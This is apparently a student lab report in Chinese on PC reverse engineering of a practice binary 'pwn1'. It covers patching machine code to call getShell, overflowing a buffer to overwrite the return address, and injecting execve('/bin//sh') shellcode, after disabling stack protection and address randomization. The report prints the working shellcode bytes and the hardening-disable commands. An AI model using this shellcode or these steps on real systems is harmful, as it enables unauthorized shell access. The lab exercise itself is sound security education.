20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 《网络对抗技术》EXP1 PC平台逆向破解
一.实验内容
- 本次实践的对象是一个名为
pwn1
的linux
可执行文件。 - 该程序正常执行流程是:
main
调用foo
函数,foo
函数会简单回显任何用户输入的字符串。但是该程序同时包含另一个代码片段,getShell
,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下;
- 直接修改程序机器指令,改变程序执行流程。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode
具体的实验步骤
直接修改程序机器指令,改变程序执行流程
-
首先检查共享文件夹设置是否成功
cd /mnt/hgfs
-
通过共享文件夹把pwn1拷贝到虚拟机中,用指令对其进行备份,方便后面的实验中用到
cp pwn1 pwn_1
-
再对其进行反汇编
objdump -d pwn_1 | more
,将二进制转进行反汇编操作
-
分析反汇编出来的代码,寻找到需要修改的对应代码的位置。
1. 在main函数中找到call语句,
call 8048491 <foo>
,可以看出:
调用的是地址为8048491
的foo函数(箭头指向)。2. 对应找到这句call指令位于地址80484b5,对应机器码是
e8 d7 ff ff ff
,查表知道e8
即call
(跳转)。 -
使用命令
vim pwn_1
打开可执行文件,使用命令:%!xxd
将其转换成十六进制文件
- 进入
vim
后,按i
进入插入模式,按esc
进入普通模式,即快捷模式.。 - 退出保存时,
:wq
再回车键,或者esc
后shift
+zz
。
- 进入
-
输入
/e8d7
找到要修改部分的代码,并对其进行修改,将d7
修改为c3
。
-
输入
%!xxd -r
将十六进制转换成为原格式,并保存退出。 -
再输入反汇编指令
objdump -d pwn_1
,查看到call
指令已经被修改为直接调用getShell
-
再运行pwn_1文件,可以看到出现了shell提示符#
构造输入参数,造成BOF攻击,改变程序执行流
objdump -d pwn_2
反汇编pwn_2文件- 找到需要替换的目的地址
- 使用
per
命令将输入的参数定向到BOF1中,使用|
管道命令将输出的BOF作为pwn_2
的输入 - BOF攻击成功
注入Shellcode并执行
- 准备工作:
- 关闭堆栈保护
- 关闭堆栈执行程序
- 关闭地址随机化
- 在x32环境之下
- 在Linux实践环境之下
6.具体命令:
命令 | 作用 |
---|---|
apt-get install execstack |
安装execstack |
exestack -s pwn_3 |
关闭堆栈执行保护 |
exestack -q pwn_3 |
查询文件堆栈是否可执行 |
more /proc/sys/kernel/randomize_va_space |
查询是否关闭地址随机化 |
echo "0" > /proc/sys/kernel/randomize_va_space |
关闭地址随机化 |
more /proc/sys/kernel/randomize_va_space |
查询是否关闭地址随机化 |
-
查找地址,在命令行输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
,再输入(cat input_shellcode;cat) | ./pwn_3
注入这段攻击
-
在另一个终端中输入
ps ef | grep pwn_3
,来查找pwn_3的进程号为78857
-
继续在另一个终端中用gdb对其进行调试,输入
attach 78857
-
通过
disassemble foo
查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae
-
通过设置断点查看注入的位置
-
将之前的
|\x4\x3\x2\x1
替换为ffffd380
,按书写方式为\x80\xd3\xff\xff
-
注入成功
遇到的问题
- 共享文件夹设置不成功
询问同学和查看学长学姐博客,发现是自己的权限设置有问题。最后该问题已解决。
- 刚开始做时,对一些基础指令不熟悉
指令 | 作用 |
---|---|
objdump -d pwn_1 |
对pwn_1的二进制文件进行反汇编 |
:%!xxd |
将二进制文件转换成为十六进制文件显示 |
perl -e |
指定字符串以作为脚本(多个字符串迭加)执行 |
``` | ``` |
NOP |
90。空指令,CPU不做操作,继续执行NOP后面的一条指令 |
JNE |
75。条件转移指令,若不相等则跳转 |
JE |
74。条件转移指令,若相等则跳转 |
JMP |
无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA) |
CM |
比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。 |
CALL |
E8,调用子程序。 |
- 在进行实验三时,查找到进程号但是无法对其进行调试
实验整体思路总结
实验一:
- main中的call语句会调用
函数,需要我们手动修改机器指令,使call语句的调用由foo变为getshell
实验二:
- 即main函数中的call语句调用完foo函数后,eip会执行main函数中的call指令的下一条指令,现在要将其修改为执行getshell的内存地址,即要知道foo函数的长度,并构造输入字符串。
实验三:
实验收获:
- 这次的实验收获收获还是很多的,更多的是从原理上理解了缓存区溢出,该如何构造,而不是简单的通过指令操作机械的完成了实验,其中的指令只是一些辅助工具。
- 漏洞及其危害:
- 我认为的漏洞应该是一种缺陷,可能是原理上的也可能是实现上的,总之能够让攻击者有机可乘。
- 可以使攻击者能够在未授权的情况下访问或破坏系统。
- 危害:结合信息安全技术的学习,危害可能有数据的覆盖丢失,病毒的植入,对本机进行监听,甚至获取你的个人信息造成经济上的损失。